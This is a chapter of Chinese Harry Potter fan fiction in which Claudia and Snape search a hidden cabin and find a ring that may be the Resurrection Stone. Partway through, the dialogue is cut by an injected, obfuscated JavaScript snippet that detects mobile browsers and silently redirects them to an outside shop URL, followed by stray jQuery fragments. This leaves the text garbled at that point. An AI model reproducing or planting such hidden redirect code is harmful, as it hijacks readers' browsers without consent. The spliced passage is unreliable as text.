克劳狄亚没有立即做决定。
她已经是一个成熟的、能负责任的社会人了，成年人都是要考虑考虑才能做决定的，她抻得越久，被这位光天化日就抱怨钱袋不丰的牧师漫天要价的可能性就越低。
于是她就推说要在周围逛一逛，因为她还不了解小汉格顿。
她的确有这方面的需求——为了应付巴蒂或许可能的检查，克劳狄亚不得不往记忆里填充大量无意义的乡村风光。刚刚的全部不作数，巴蒂肯定能一眼认出这是哪里。
得跑到更远的地方去才行。
克劳狄亚几乎走出了村子外，漫无目的地四处乱逛，她脑海里类似的场景还有许多——譬如伦敦周边那些风景优美的、园林般的公墓。
她好像走错了路。
这小树林有些不对劲。
那是一种反常规的、不科学的异常感。克劳狄亚左看右看，蹲下来拨弄着树林边缘茂盛的野草，终于发现了哪里不对：
这里本来有条路，却硬是被两侧茂密得有些不对头的草木遮盖住了：野蒜已经萌出花苞，毛茛、荨麻、蒲公英、一些菊科植物和虞美人，再往前走还有冬青与矮榛，她还发现一些蓝铃花，夹在几株野玫瑰之间，一排齐整整的橡树像是手拉手的卫士，将克劳狄亚拦在身前。
才三月份，这样茁壮成长真的对劲吗？①
斯普劳特教授讲过，夯实的土壤很难再长出植物，如果彻底废置，至少也要风吹雨打地过上几十年，或许才会有一两棵生命力顽强的野草冒头。
路旁的植物既然已经长出了热带雨林的气势，那一定会把阳光、雨水与肥力都截流走——
她拨开草丛，这条小路果然还是九成新的。
克劳狄亚毫不客气地抽出魔杖。
以前和海格一起巡禁林的时候，有些障碍他轻轻松松就能过去，克劳狄亚就得原地跳脚，海格这家伙还在另一边哈哈大笑。后来她见缝插针地泡图书馆、问完这位教授问那位教授，终于学会了这个咒语：
看过左右无人，克劳狄亚像个意气风发的乐队指挥，轻飘飘将魔杖划出一道类似于微笑的弧线。
花草树木纷纷让开道路，她九成新的小路露出了全貌，似乎直通向森林深处。
克劳狄亚变出一把弹弓，又从口袋里摸了一颗糖豆，朝路上打了一发。
没动静，没反应，没陷阱，安全！
森林有什么可怕的，大自然的造物能坏到哪里去？四面八方都是生机。
小路很快走到了头，克劳狄亚顿时索然无味起来——那条路没有延伸到更黑暗无光的深处，就在林地近边缘的地方打转，几株白蜡树遮挡住了外界窥探的目光，在它们尚未生长的年代，想必这片森林并没有眼前的规模。
它的尽头是一栋小木屋，难道是安徒生干的。
克劳狄亚握紧魔杖，大脑一片空白：有没有哪位教授告诉她，她该用哪本书上的哪个魔咒啊？
她想了半天，打出了最后一颗糖豆——和刚才不同，这一次，空气吞没了她的零食。
糟糕！
紧接着，有什么很大的、来势汹汹的东西被吐了出来。克劳狄亚看不见，但她出于一名女巫的直觉、出于她和魔法共生二十年的直觉，觉得那里一定有东西！
“闪开！”
卫衣帽子被重重地扯了一下，克劳狄亚直接摔了个屁股墩，一下子天地颠倒，恍惚间她只看见有人挡在她面前，握着魔杖，像天使长握着他的剑！
酷！
等到克劳狄亚揉着屁股（顺便治一下尾椎骨的轻微骨裂）站起来，斯内普教授已经结束了他（不知道和什么东西）的战斗。克劳狄亚感到遗憾，因为无声咒完全剥夺了她偷师的可能。
“为什么不联系我？”斯内普教授转个身就怒气冲冲地朝着她来了，“你自己一个人——你怎么敢！”
“您没说啊。”克劳狄亚小声回答，“您先是要我‘适可而止’，后来又传信要我‘继续’……可您没说您也要来。”
“这是你区区一个——是你能担负得起的吗？”斯内普教授完全不吃这套，“你知不知这里是什么地方？”
“不知道。”克劳狄亚老老实实地说，“对不起，先生。”
“我不相信你是真的知道错了。”斯内普教授居然还不罢休，大概是因为他再也没办法扣分或者关她禁闭了吧，只好嘴上骂骂咧咧这样子。
“但我相信您是真的打败了——”克劳狄亚卡了一下，硬着头皮继续恭维，“这栋凶残的房子。”
“还没有。”斯内普教授不耐烦地说，“你——”
她不走，她虽然帮不上什么忙，但至少有个守护神咒还是好使的，可以帮忙摇人。
“跟着我。”
克劳狄亚还没来得及高兴，就看到斯内普教授就地取材、拼凑了几个歪歪扭扭的稻草人，当然了，还是无声咒。稻草人们排成一纵列，向着小屋进发，斯内普教授就拉着克劳狄亚缀在后面。
这是什么地方？谁做下的这些魔法？一定是伏地魔吧？屋里有什么？您用的什么魔咒？下次能不能念出声啊？
克劳狄亚揣着一肚子疑问，屏息静气地紧紧贴着斯内普教授的臂膀。无形中有什么东西一闪，第一个稻草人倒下了，紧接着是第二个、第三个……更多的稻草人从后面赶上来，等他们终于来到门口，已是满地狼藉。
“别进去了吧。”克劳狄亚试图阻拦，才发现他们居然一直紧紧地握着手，“您总不能在……您老板的眼皮底下，把他的妙妙屋给挖了。”②
“你找到了？”斯内普教授没有回头，但克劳狄亚的手指被握紧了。
“大概？”克劳狄亚环顾四周，可惜树木都太高太狂野，将视线挡得严严实实，“就……差不多在那个位置，有个大房子，我想就是那里。”
她举手一指，却习惯性地举起了两人十指交扣的那一只——没办法，她也是右利手嘛，他们之间当然还是斯内普教授的魔杖手更有必要握住魔杖。
就是……这样暴露在视野里，本来没什么的，好像也有点儿尴尬了。
“你去了？”斯内普教授真是有阅历，他若无其事地把手压下去了，毕竟他掌握着另一半主动权。
“没有。”克劳狄亚讪笑，“只是‘我想’、‘我猜’和‘我觉得’，或许只是我自己一个人心虚害怕……说起来也是，堂堂伏地魔怎么会被我区区一个——咳，我是说，这么轻易地找到呢？”
“……我不是格兰芬多，你也不是。”斯内普教授沉默了一会儿，“所以你没有过去，这并非是一个应当被谴责的答案，你无须为此惭愧。如果你同样没有贸然闯到这里来，那将会更好。”
克劳狄亚点点头。“我没惭愧。”她忽然说，“我刚刚那样，只是怕您不高兴。”
“和邓布利多一起工作，并不会传染他格兰芬多的习性。”斯内普教授的神情缓和下来，“但是这一次，我要试试。”
克劳狄亚还没反应过来，满地狼藉已经再度簇拥起稻草人纵队一拥而上，前赴后继地扑进了门内，她自己则被兜头罩上一个幻身咒，和斯内普教授一起躲在一边。
屋里传来各种惊天动地的响声，仿佛所罗门王铸造的七十二柱上走下一位强大的恶魔正在肆虐。但斯内普教授并不在意，他微微抬着左臂，反而更警惕地注意着树林之中。
啊，有谁要来吗？伏地魔吗？就是那个作恶数十年、连邓布利多都拿他没办法的伏地魔吗？
克劳狄亚紧张得心脏砰砰乱跳，总算还有些理智，遂轻轻将手挣脱了出来——天主在上，她居然出汗了——握住自己的魔杖。
不知为什么，她竟不敢看斯内普教授，只好嘟囔道：“万一他带着斑斑来呢？我可是唯一一个让斑斑吃过瘪的巫师呢！”
她听见斯内普教授笑了一声：“用麻瓜的话说，我能把我的后背交托给你吧？”
“好像不行哎。”克劳狄亚也笑了起来。
“一位合格的教授此时此刻应该鼓励你，说你行，还要你对自己有信心。但我宁愿放弃自己的名誉，也不愿意说假话，更何况……”
没人觉得你是一位合格的教授，克劳狄亚替他补完。尽管如此，她在斯内普教授身边依然感到空前的安心。
“……但我并不在乎。”斯内普教授也知道她在想什么。
克劳狄亚本来想说她很佩服，因为她从小到大都在努力符合别人的期盼，从前她想让叔叔满意，后来她想让天主满意。她有些羡慕这种无所顾忌的生活，但隐隐又为此担忧：许多事情都是一体两面的，顾忌反过来，也是一种羁绊。
她想起那间冰冷的房子，想起鱼缸一样的床……有那么一瞬间，甚至想对斯内普教授说一句“我想向您介绍一下我们的天父与救主，耶稣基督”。
“不会来了。”等了一会儿，斯内普教授对她说，“或许黑魔王现在仍旧孱弱，或许他根本就没有感应——我想是后者，因为标记没有变化，他很平静。”
“这是个好消息么？”克劳狄亚迟钝地问。
“大概率。”斯内普教授转身走进木屋，“看看这里面有什么——跟着我。”
克劳狄亚勇敢地踏进了伏地魔妙妙屋，然后就被屋里的脏乱差震惊了！
没关系的，她对自己说，这一切都是考验，对她的考验。以后她可能会被派遣承担各种各样的任务，而不仅仅是在光洁明亮的殿堂里唱圣歌，或许是关怀贫民窟里的孤儿，或许要去社区医院服务，她会接触更多的污秽与不洁，考验，都是考验。
克劳狄亚挽起袖子，准备翻垃圾堆。
“少自作多情，别说我不会让你做这些，黑魔王也不会把他的宝贝藏在垃圾堆里。”
“说不定就是一堆垃圾，所以他才懒得去布置一些联结魔咒来获得感应呢？”
“你是说他设置了层层阻碍就为了保护一堆垃圾？”
“我们觉得是垃圾，但他或许觉得那就是宝贝！”
“我每年都建议邓布利多开设逻辑思维相关的课程，他每次都装糊涂，真该让他听听我们的对话。”
克劳狄亚倒回头去捋了捋，尴尬得一言不发。
“跟着我，不要乱动乱闯。”斯内普教授不厌其烦地叮嘱她，“如果你真心好奇黑魔王的安抚娃娃长什么样子。”
这个嘛，要说“伏地魔的秘密宝藏”，那她不太感兴趣，但要说是“伏地魔的安抚娃娃”，她可太想看看了！
环境最差的客厅（兼任餐厅与厨房）斯内普教授看都没看，他径直去了左边的房间，因为房门已经脱落，不必进门也能瞧见里面的景象。
“柴房？”克劳狄亚踮脚从斯内普教授肩后探出头来，望着满室发霉生虫的稻草，还有几块破布。
“卧室。”斯内普教授一转身，差点和克劳狄亚撞在一起，还好她灵巧地躲开了。
剩下一间也是卧室，而且很有卧室的样子，两张twin-size的木床，一张靠墙摆着，堆满了杂物，另一张倒是铺陈得整整齐齐。克劳狄亚点起魔杖，隐约看到那铺陈得一丝褶皱都没有的亚麻床单上，似乎有一块小小的污渍。
“那是什么？”她伸手一指。●
“什么？”
“那儿！就在枕头下边差不多一、二、三……四英寸的位置，是哪里的影子吗？”
克劳狄亚凑过来指指点点，斯内普觉得那一侧耳朵极痒，像有虫爬。他不耐烦地伸手去拂，却意外触到正在喋喋不休的……她的嘴唇。
梅林，或者是其他什么人，萨拉查·斯莱特林？也行，能不能告诉他，在这样紧要危险的时刻，她到底想做什么？
“你可以大声说。”斯内普草草将人一推，“不必担心，‘非法入室’的罪名比‘噪音污染’要大得多。”
“在枕头下方四英寸的位置！有一块像阴影像污渍的东西！”克劳狄亚好像扭到了脚，正忙着给自己治，她好像很愤怒似的，放开了嗓子大声宣告，“差不多有阿利奥特的种子那么大！”
斯内普花费了一些功夫进入这间卧室。
他不得不承认克劳狄亚的眼力相当之好，那里的确有东西：黄化的亚麻床单上轻轻巧巧地摆着一枚戒指，戒托大概是某种铜合金，镶了一块普普通通的黑石头。
“咱们发了，先生。”克劳狄亚似乎是真的意识不到目下有多危险，“这算不算‘盗窃’？我吃点亏，宝石归您，我只要托子。”
看来是纯金。
“宝石是什么？”
“黑曜石？或者煤精？我得拿到手里才能知道。”尽管如此，她依然老实躲在他身后，“肯定不会是黑钻啦，黑钻我是不会让给您的，师生反目就在今天！”
“反目？少给自己脸上贴金。”斯内普觉得好笑，“还有呢？”
“我能再凑近点儿看看吗？”
“你不能。”
“好吧！”魔杖从他背后探了个头，小心翼翼地戳了戳空气，一个扁扁的气泡“噗”的一声蓬了出来。
“放大咒。”她仔细地调整着角度，“拜它所赐，我最高纪录是一小时拔了六个屁股，是庞弗雷夫人的两倍。”
“拔什么——哦。”他想起来了，是六号温室的著名景点，那株活像仙人掌与豪猪结合体的大洋洲植物，每年都有人鬼哭狼嚎地被送进医疗翼，斯莱特林还不是最多的。
怪不得她一个赫奇帕奇，和格兰芬多们也挺熟。
“这种东西要进博物馆的，五百年以上，至少……但肯定不是妖精做的，没那么粗糙。”
“一件古董。”
“我想它应该有某种纪念意义。”
两句废话，和一枚有纪念意义的古董戒指。
巫师的历史与传说一向是斯内普的弱项，艾琳几乎从不告诉他这些，是不敢还是不愿意，他现在也懒得追究了。但她总算为儿子争取到了学习魔法的机会，而不是任由他沦落成为一个默然者——如果老巴蒂·克劳奇没有突然出现，这想必也是克劳狄亚·克劳奇的最终结局。
现在想想，他当初也真是可笑。斯莱特林女巫艾琳·普林斯在麻瓜手里过着那样的日子，都没有灌输一些莫名其妙的血统论给他，而他却从厌恶托比亚开始，自发地与某些东西不谋而合。
斯内普转过头去，肩下倚靠着他的那颗红脑袋依然在专注地盯着戒指，一心一意挖掘一些蛛丝马迹。
有时候他也……有些羡慕，这么心无旁骛的人。
“看出什么来了？”他问。
他听见一声泄气的叹息。
“英国巫师的历史上似乎没有哪一枚戒指特别有名，或许这是某一个古老家族的权戒，但这并非每个家族都有，克劳奇就没有，或许您可以问问马尔福先生？据我所知的几个流传至今的巫师家族，都并不崇尚这种粗暴夸耀的风气。毕竟相较于黄金，巫师及其他魔法生灵更喜欢白银，我们通常认为银更富有纯净的魔力，黄金反而象征着财富、权利与欲求，比较……呃，庸俗。”
这不是很有心得吗？斯内普想着，虽然只是“我想”、“我觉得”和“我认为”。
“还有？”
“还有就是这块宝石。古老的、有名的石头可太多了，比如亚瑟王拔出宝剑的石头，被认为是炼金术的起源，再比如贤者之石，炼金术的巅峰，还有复活石，嗯……这个就是童话了，我想。”
斯内普心里一动。
“复活石？”
“啊？”
“复活石。”他提高了声音。
“那只是个传说……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532514|202828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大概？”
“在亲眼目睹之前，我也以为蛇怪只是个传说。”
“蛇、蛇怪？”她失声叫了起来，瞪大了眼睛的样子相当好笑。
“嗯，在城堡里，地下，和我办公室不算太远。”他眼睛还盯着那戒指，“贤者之石，你曾经和它只有一墙之隔。”
“杀蛇怪用什么魔咒？”克劳狄亚立马顾不上什么复活石了，“蛇怪是生命吗？我杀了它，算‘不义’吗？上帝会怪罪我吗？还是说，这算是惩恶扬善？还好我不是‘大难不死的女孩’，否则我还没犹豫完，蛇怪已经把我消化完了。”
“停——”他还望着戒指，随口制止，为什么要在这么危险的处境聊一条死蛇，但克劳狄亚的下一句话直接把他逗笑了：
“我用眼疾咒可以吗？”
“可以。”他点点头，终于移开视线，“你可以，当然……”
“怎么了，先生——哦！！！”她懊恼至极，脸又红了，“拜托，请您务必当我没说过！”
“不行。”斯内普毫不犹豫地说，“明天你会收到我提醒你回忆刚才这一幕的守护神。”
“恕我直言，周一您是满课。”
“说句话的时间总是能挤出来的。”
克劳狄亚深深地吸了一口气，毫不掩饰地、气鼓鼓地瞪着他。斯内普竟觉得，刚刚萦绕在他心头那一点浅淡的……贪欲，那对一枚戒指的不合理的贪欲，陡然间烟消云散了。
别说那并不一定是复活石，即便是……那他召唤出来的那个人，那个亡灵……他宁愿莉莉就是记忆里他们决裂后的模样，而不是为了引诱他去死，做出违背她天性的举动。
斯内普退开一步，远离了那张整洁到妖异的矮床。
“这么说，您成功克服了？”克劳狄亚很高兴地问，亦步亦趋地跟着他，背着手像只小鸡……不对，那他是什么。
“你也？”
“在我意识到有可能是复活石之后，某个念头立即被成百上千倍地放大了。但也多亏了是复活石……”她认认真真画了个十字，“我的父母已经去了天主的身边，那是最幸福、最荣耀和最光明的所在，那他们有什么必要回来呢？”
“我现在相信圣光真的可以驱散黑暗了。”
“那您要不要了解一下我们的天父与救主耶稣基——”
“闭嘴。”
“好的。”
“其实我以前有过差不多的感觉。”克劳狄亚礼貌地安静了一秒钟，立即又开始说话，“您还记得金妮芙拉·韦斯莱那册日记本吗？”
当然记得，他知道得比她还多。
“雪球拿着它来找我，我当时就……突然横生出一股异常强烈的倾诉欲。我要占据它，把我所有的心事都讲给它听，我的困难会迎刃而解，有一个人，或者其他什么存在，他会理解我、支持我、帮助我……”她的声音慢慢低柔下去，像是弦乐富有戏剧性的低回，然后又轻扬起来，“很奇怪对不对？我平常哪来那么多话？”
“嗯，你完全没有。”他违心地说，“然后呢？”
“然后我就想起，天主与我同在。何必要费力写写画画、浪费墨水？”
果然！
斯内普觉得好笑，他拉住克劳奇的雨伞尾，道：“走吧！”
她满脸莫名地指了指那个戒指。
“走吧。”他只是道，牵着她像牵着个瞎子……这不对，那他是什么。
黑魔王在小屋内外布置下的一切，恶毒繁琐有余，却并不算特别高明，对斯内普或者邓布利多这样的人来说，反而更激起好奇心、更想进去一探究竟。
所以这只能说明，他藏起来的这个东西，这枚戒指，本身就拥有更大的力量。
雨还在下。
斯内普依次将被破坏的“陷阱”一一复原，克劳狄亚已经撑着伞等了他好一会儿了。森林里泼天盖地的，都是湿气，他感到手脚黏腻，身不由己地游到她面前去。
“这个给您。”她交接了温热的伞柄。
“你呢？”
“等我找找！”她从肩挎的小皮包里翻了翻，翻出远超容量的一堆物件，衣袋塞满，手肘、腋下、下颌都夹带，连他都被迫帮忙拿着一件猪突猛进的……磁铁？
“我打算改成个胸针，还可以别在帽子上做帽徽，简单得很。”克劳奇嘴里咬着票夹，含含糊糊地说，“好看吧，大汉格顿买的。”
翻来翻去，终于又从挎包底下翻出一把伞，或者说帽子：它呈现伞的形态，却又可以被戴在头顶，花花绿绿的，铺着闪光的金银彩带，还顶着个大红空心塑料球。
“我看到有个亚洲游客给他的孩子戴，跟了他们三条街，终于用一顶皇家卫兵的熊皮帽换到了手——有意思吧？”
这种东西，哪怕对巫师来说也太超过了，问遍英国，也只有邓布利多会喜欢，怪不得克劳奇只敢在这种荒凉的小村庄里戴着玩玩。
走出小树林，文雅得体的克劳奇小姐已经撑回她那把蓝黑色的长柄伞，孤身向教堂方向去。
“先生？”克劳狄亚侧耳听着身后动静，“您赶上来了吗？都弄好了吗？”
“嗯。”斯内普教授的声音比她想象中要近，克劳狄亚放下心来。
“您还在吗？”走没两步，她又问。
“嗯。”
“现在呢？”
“怎么？”
“没有……我只是想拜托您，如果您想先一步离开，请一定跟我说一声。”
“嗯。”斯内普教授又应了一声。
克劳狄亚能够感受到他就在自己身边，她贴着路走，故意越走越歪，把人挤到没路可走，过了一会儿，他只好绕到外边来。
这条路怎么这么短？克劳狄亚望着教堂的十字顶，无限怨念。
“我去找牧师。”她悄声说，“您……呃，您自便。”
“我可以等你。”
是不是太勉强了？
可是克劳狄亚又说不出“您可以走”这种话，只好胡乱地应了几句，忙忙地往牧师住宅去，几乎没怎么讨价还价，就“自愿捐献”了一笔钱给牧师。
她谢绝了牧师开车送她去大汉格顿车站的提议，一出门就小跑起来，牧师住宅和教堂之间的几步路，此时此刻又漫长得令人烦躁！她耽误了很久吗？斯内普教授还在那里吗？
“我答应过，走之前会告诉你。”
克劳狄亚下意识要笑，却又想不出为什么要笑。大汉格顿那家饭馆味道还不错，或许她可以和斯内普教授吃个午饭。
“走吧，我还要开会，你回霍格莫德？”
“还不，我得去付罚单。”她定了定神，拿给他看，“先去古灵阁换钱，再……反正，再到处打听打听呗，或许我还可以去魔法部的麻瓜联络办公室问问看，他们一定知道该怎么办。”
“交给我吧。”斯内普教授直接塞进了自己的口袋。
“您有可以转账的麻瓜账户？”
“别人有。”
克劳狄亚赶紧把她准备好的一口袋金加隆也塞进去。反正人情债是还不上了。
他们正躲在牧师的“车库”——原本只是个棚子，杂物堆得太多，四面遮得严严实实，一台大功率抽水机正在旁边菜圃不知疲倦地“轰隆隆”作业。
“不白拿你的。”斯内普教授说。
新的银盒交到克劳狄亚手上。
她下意识揭开盖子，依然是紫粉色的半透明胶体，味道似乎有些变了，花香不见了，只有略微发苦的草木味道。
“先生？”
“嗯。”
好吧，看起来没什么值得说的，大概只是优化了配方。克劳狄亚道谢收下，当天晚上就迫不及待地用了新药——
清早起来，克劳狄亚发现她的脸痊愈了。